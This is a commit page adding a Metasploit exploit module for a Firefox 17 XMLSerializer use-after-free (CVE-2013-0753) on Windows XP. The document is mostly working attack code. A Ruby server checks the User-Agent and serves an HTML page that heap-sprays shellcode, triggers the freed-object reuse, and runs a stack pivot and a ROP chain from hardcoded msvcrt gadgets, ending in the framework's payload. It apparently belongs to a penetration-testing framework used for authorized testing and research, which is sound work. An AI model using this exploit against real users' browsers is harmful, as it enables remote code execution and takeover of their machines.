Add module for ZDI-13-006
jvazquez-r7
parent
fe089030d4
commit
ff6ad30be0
|
|
@ -0,0 +1,203 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Firefox XMLSerializer Use After Free',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically
|
||||
an use after free of an Element object, when using the serializeToStream method
|
||||
with a specially crafted OutputStream defining its own write function. This module
|
||||
has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP
|
||||
SP3.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'regenrecht', # Vulnerability Discovery, Analysis and PoC
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-0753' ],
|
||||
[ 'OSVDB', '89021'],
|
||||
[ 'BID', '57209'],
|
||||
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-006/' ],
|
||||
[ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ],
|
||||
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
'DisableNops' => true,
|
||||
'Space' => 30000 # Indeed a sprayed chunk, just a high value where any payload fits
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Firefox 17 / Windows XP SP3',
|
||||
{
|
||||
'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory
|
||||
'FakeVFTable' => 0x0c10100c, # Pointer to the Sprayed Memory
|
||||
'RetGadget' => 0x77c3ee16, # ret from msvcrt
|
||||
'PopRetGadget' => 0x77c50d13, # pop # ret from msvcrt
|
||||
'StackPivot' => 0x77c15ed5, # xcht eax,esp # ret msvcrt
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Jan 08 2013',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
end
|
||||
|
||||
def stack_pivot
|
||||
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
|
||||
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
|
||||
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
|
||||
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
|
||||
return pivot
|
||||
end
|
||||
|
||||
def junk(n=4)
|
||||
return rand_text_alpha(n).unpack("V").first
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
vprint_status("Agent: #{agent}")
|
||||
|
||||
if agent !~ /Windows NT 5\.1/
|
||||
print_error("Windows XP not found, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
unless agent =~ /Firefox\/17/
|
||||
print_error("Browser not supported, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
# Fake object landed on 0x0c101008 if heap spray is working as expected
|
||||
code = [
|
||||
target['FakeVFTable'],
|
||||
target['RetGadget'],
|
||||
target['RetGadget'],
|
||||
target['RetGadget'],
|
||||
target['RetGadget'],
|
||||
target['PopRetGadget'],
|
||||
0x88888888, # In order to reach the call to the virtual function, according to the regenrecht's analysis
|
||||
].pack("V*")
|
||||
code << [target['RetGadget']].pack("V") * 183 # Because you get control with "call dword ptr [eax+2F8h]", where eax => 0x0c10100c (fake vftable pointer)
|
||||
code << [target['PopRetGadget']].pack("V") # pop # ret
|
||||
code << [target['StackPivot']].pack("V") # stackpivot # xchg eax # esp # ret
|
||||
code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})
|
||||
|
||||
js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
|
||||
js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))
|
||||
js_ptr = Rex::Text.to_unescape([target['FakeObject']].pack("V"), Rex::Arch.endian(target.arch))
|
||||
|
||||
content = <<-HTML
|
||||
<html>
|
||||
<script>
|
||||
var heap_chunks;
|
||||
|
||||
function heapSpray(shellcode, fillsled) {
|
||||
var chunk_size, headersize, fillsled_len, code;
|
||||
var i, codewithnum;
|
||||
chunk_size = 0x40000;
|
||||
headersize = 0x10;
|
||||
fillsled_len = chunk_size - (headersize + shellcode.length);
|
||||
while (fillsled.length <fillsled_len)
|
||||
fillsled += fillsled;
|
||||
fillsled = fillsled.substring(0, fillsled_len);
|
||||
code = shellcode + fillsled;
|
||||
heap_chunks = new Array();
|
||||
for (i = 0; i<1000; i++)
|
||||
{
|
||||
codewithnum = "HERE" + code;
|
||||
heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
|
||||
}
|
||||
}
|
||||
|
||||
function gen(len, pad) {
|
||||
pad = unescape(pad);
|
||||
|
||||
while (pad.length < len/2)
|
||||
pad += pad;
|
||||
|
||||
return pad.substring(0, len/2-1);
|
||||
}
|
||||
|
||||
function run() {
|
||||
var container = [];
|
||||
|
||||
var myshellcode = unescape("#{js_code}");
|
||||
var myfillsled = unescape("#{js_random}");
|
||||
heapSpray(myshellcode,myfillsled);
|
||||
|
||||
var fake =
|
||||
"%u0000%u0000" +
|
||||
"%u0000%u0000" +
|
||||
"%u0000%u0000" +
|
||||
"%u0000%u0000" +
|
||||
"%u0000%u0000" +
|
||||
"%u0000%u0000" +
|
||||
"%u0000%u0000" +
|
||||
"#{js_ptr}";
|
||||
|
||||
var small = gen(72, fake);
|
||||
|
||||
var text = 'x';
|
||||
while (text.length <= 1024)
|
||||
text += text;
|
||||
|
||||
var parent = document.createElement("parent");
|
||||
var child = document.createElement("child");
|
||||
|
||||
parent.appendChild(child);
|
||||
child.setAttribute("foo", text);
|
||||
|
||||
var s = new XMLSerializer();
|
||||
var stream = {
|
||||
write: function() {
|
||||
parent.removeChild(child);
|
||||
child = null;
|
||||
for (i = 0; i < 2097152; ++i)
|
||||
container.push(small.toLowerCase());
|
||||
}
|
||||
};
|
||||
|
||||
s.serializeToStream(parent, stream, "UTF-8");
|
||||
}
|
||||
</script>
|
||||
<body onload="run();">
|
||||
</body>
|
||||
</html>
|
||||
HTML
|
||||
|
||||
print_status("URI #{request.uri} requested...")
|
||||
print_status("Sending HTML")
|
||||
send_response(cli, content, {'Content-Type'=>'text/html'})
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
Loading…
Reference in New Issue